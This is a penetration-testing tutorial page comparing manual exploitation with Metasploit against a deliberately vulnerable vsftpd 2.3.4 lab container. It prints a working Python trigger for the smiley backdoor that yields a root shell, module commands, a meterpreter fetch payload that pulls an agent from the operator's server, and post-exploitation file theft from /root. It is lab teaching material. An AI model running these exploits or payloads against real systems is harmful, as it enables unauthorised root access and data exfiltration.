l1ackers
Not marked. Sign in and it follows you. Next: 044: The deliverable

~/tutorials/043-the-framework-question.md

043: The framework question

Metasploit is a framework, not a skill. Once you understand the work it does, using it and doing that work by hand are the same knowledge at different speeds. The question is what the speed costs.

This lesson answers it with receipts, and it walks the full road: installing the framework, waking its database, standing up a vulnerable target, and taking it to a meterpreter shell, the experience most people remember the first time the screen changes from msf6 > to meterpreter >. Every step below was fired in a real lab before it was printed, and the transcripts in this lesson are its actual output.

Installing the framework

Three honest lanes, pick the one that matches your box.

Kali ships it. If you are on Kali, the framework is already installed, and the only work is the database, two sections down. Confirm with msfconsole --version and skip ahead.

Your distribution's package manager. On Arch, sudo pacman -S metasploit. On Ubuntu and Debian family there is no official package, so use the installer, one long line and its checksum, from metasploit.com's download page. The installer drops the tree at /opt/metasploit-framework and puts msfconsole on your path.

Docker, the lane this lesson's lab runs. The official image needs no install at all:

$ docker pull metasploitframework/metasploit-framework
$ docker run -it --rm metasploitframework/metasploit-framework ./msfconsole -q

Inside the image the framework lives at /usr/src/metasploit-framework. The docker lane is the cheapest way to try the framework without touching your machine, and the lane this lesson's receipts came from.

First run takes a moment. The console builds its module cache on boot, a minute of quiet the first time and seconds after, and lands you at the prompt that runs the rest of this lesson:

msf6 >

Waking the database

Metasploit keeps its workspace, hosts, services, and loot in a postgres database, and out of the box on Kali that database is asleep. Wake it once:

$ sudo systemctl enable --now postgresql
$ msfdb init

msfdb init creates the msf database user, the databases, and writes the connection into ~/.msf4/database.yml. You only ever run it once. What it buys you shows up later in this lesson: hosts, services, and loot commands inside msfconsole, and workspace switching that keeps two engagements from bleeding into each other. Without the database the framework still exploits, it just forgets.

The receipt that it worked, inside msfconsole:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

On the docker lane the database is already awake inside the image, which is another reason it makes a good first date. If db_status answers no connection, the framework works but the second half of this lesson's bookkeeping will not, so fix it before going on.

The target

You need something legal to shoot at. The lab this lesson receipts is a metasploitable container, the deliberately broken Linux distribution built for exactly this, running vsftpd 2.3.4, an ftp server shipped with a backdoor in its source. Anyone who has taken a pentesting course has met this door. You are about to open it yourself, by hand and then by module, in that order, because that order is the whole lesson.

The full lab build, containers and network, is on the apparatus page the known entry. The one fact this lesson needs from it: the target's address, 172.31.9.2, and its ftp port, 21.

Confirm the door exists before knocking, the same discipline the module will show you later:

$ nc 172.31.9.2 21
220 (vsFTPd 2.3.4)

That banner is the version with the backdoor. The check is not a formality. It is the habit.

The by-hand run, because the order matters

Eleven lines of Python open this door. The backdoor is triggered by a username containing a smiley. Any user, any password, and the colon-parenthesis in the username flips a hidden branch: the daemon starts a root shell listening on port 6200. Send the trigger, then connect to the door it opened:

import socket, time

s = socket.socket(); s.connect(("172.31.9.2", 21))
s.recv(64)                                  # 220 (vsFTPd 2.3.4)
s.sendall(b"USER backdoored:)\r\nPASS x\r\n")
time.sleep(0.5); s.close()

d = socket.socket(); d.connect(("172.31.9.2", 6200))
d.sendall(b"id; uname -a\n")
time.sleep(0.8)
print(d.recv(4096).decode(errors="replace"))
uid=0(root) gid=0(root)
Linux be84d62427d5 ... x86_64 GNU/Linux

What you had to know to write those lines: the smiley and the branch it flips, the 6200 door, that the door opens the moment the login lands, and that it is single-shot, so the trigger and the catch are one motion. That is the by-hand tax, and it is also the by-hand product: every fact is yours.

The module, same door, four lines

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 172.31.9.2
msf6 > set PAYLOAD cmd/unix/bind_ruby
msf6 > exploit
[*] FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] Backdoor has been spawned!
[*] Command shell session 1 opened

Same shell, and none of those four lines required knowing the smiley, the port, or the timing. Two things worth reading in the transcript. The module checked the banner before firing, the same check you ran with nc, done for you. And on an earlier run against a target whose 6200 my hand run had left standing, the module refused to fire, the backdoor bind listener is already open, and demanded ForceExploit to override. The framework treats unexpected state as a stop sign. The hand operator who does not read their own leftovers fires blind into a door they already opened. Copy the stop sign.

The meterpreter shell, the part you remember

The session above is a dumb shell: bytes in, bytes out. Meterpreter is the framework's own shell, an agent that runs inside the target and speaks a protocol the console understands, and it changes what the session can do. Ask for it by changing one word, the payload:

msf6 > set PAYLOAD cmd/linux/http/x64/meterpreter/bind_tcp
msf6 > set FETCH_SRVHOST 172.31.9.3
msf6 > exploit

The fetch payload is worth one sentence, because it is this lab's honest wall. The backdoor yields a raw socket, not a command line, so msf cannot simply type meterpreter into it. Instead it tells the target to download the meterpreter agent, with wget, from a web server msf starts on the spot. FETCH_SRVHOST is that server's address, your address, and forgetting it is the single most common first failure with this payload family: the module validates and says FETCH_SRVHOST in red, and now you know the sentence. This is also the by-hand knowledge from the last section wearing the framework's clothes. The hand run taught you the backdoor gives one socket, one shot. That fact is why you picked a bind payload and set the fetch host, and an operator who skipped the hand run reads that error without a dictionary.

Then the moment. The stage is the meterpreter agent itself, three megabytes, sent into the target:

[*] Sending stage (3106788 bytes) to 172.31.9.2
[*] Meterpreter session 1 opened (172.31.9.3:44327 -> 172.31.9.2:4444)

Take the session and the prompt changes. This is the moment people remember, and it deserves to be understood, not just felt:

msf6 > sessions -i 1
meterpreter > getuid
meterpreter > sysinfo
Server username: root
OS           : Ubuntu 8.04 (Linux 7.2.5-4-omarchy)
Architecture : x64
Meterpreter  : x64/linux

getuid answers root, and pause on the fact that this is a different kind of answer than the shell's id. The dumb shell ran /usr/bin/id on the target. Meterpreter did not run a program. It read the process's own identity out of memory and answered in its protocol, no process spawn, no artifact on disk in the target's process table. That is the difference between a shell and an agent, and it is why defenders have to write different rules for each.

The agent's toolkit, the three commands that sell it, run here, in this session, as printed:

meterpreter > download /root/secret.txt /tmp/loot.txt
[*] Downloading: /root/secret.txt -> /tmp/loot.txt/secret.txt
[*] Completed  : /root/secret.txt -> /tmp/loot.txt/secret.txt

The file came home. On a windows target the same session screenshots the desktop, dumps the password store, and records the microphone, and the linux agent is quieter but built from the same idea: the session is not a pipe anymore, it is a platform.

And when you want the plain shell after all, it is one word away, nested inside the agent:

meterpreter > shell
/bin/sh -i
$ id
uid=0(root) gid=0(root)
$ cat /root/secret.txt
the flag is in the habit, not the tool

The secret file this lab seeded says it. The habit, not the tool.

What the database saw

Back at the msf prompt, if you woke the database at the start, the engagement is already written down:

msf6 > hosts
msf6 > services
msf6 > loot

The host you exploited is in hosts. Port 21 and the banner are in services. The downloaded file is in loot, with a timestamp. This is the other half of what the framework is: not just the exploit, the memory. On a real engagement that memory is what the report writes itself from, and it is why msfdb init was worth the two minutes at the top.

What it costs

Artifacts. Everyone has seen the default payloads. Defender products, honeypots, and blue team runbooks know the meterpreter handshake, the default certificate, the characteristic process names. Using the framework with its defaults on a monitored network is announcing yourself in a registered dialect. Your lab is the place to watch the handshake in the clear, and lesson 042's chair is where the rules for it get written.

Confidence. A module rated excellent against a version that matches, in an environment that matches the lab it was tested in, works. The real target is not that environment. The module fails, and the operator who never did the work by hand cannot say why. This lesson receipted that too: the framework's default payload for this module is a reverse meterpreter that could not work against a target with no outbound route, and the payload that worked was chosen because the hand run had already taught the operator the target's shape.

The honest split follows. Reach for the framework when the goal is the destination: a foothold in your lab, a proof of concept for a known bug, a test of a control that should stop a known pattern. Stay by hand when the goal is the skill. Run the tier by hand first, then use the framework with its defaults, then with its defaults changed, and you will know at which of those three stages you are.

Try it

  1. Install one lane, wake the database, and stand up the target from the apparatus page the known entry. That is the whole setup, and it is shorter than reading about it.
  2. Run both lanes, hand then module, in that order, and keep both transcripts side by side. Same shell, twice, one learned.
  3. Take it to meterpreter. getuid, sysinfo, one download, one nested shell. Read hosts, services, and loot after, and find your own engagement written down.
  4. Break it on purpose. Retarget at a dead port and read the error. Unset FETCH_SRVHOST and read that error. Fire twice and meet the refused-fire. Every error you meet here is one you will not meet cold in the field.

Then answer the question per engagement, not as an identity. The people who identify as framework users and the people who identify as manual purists are both paying a tax somebody set for them.

Not marked. Sign in and it follows you. Next: 044: The deliverable
l1ackers · shell this is a way in, not a requirement
$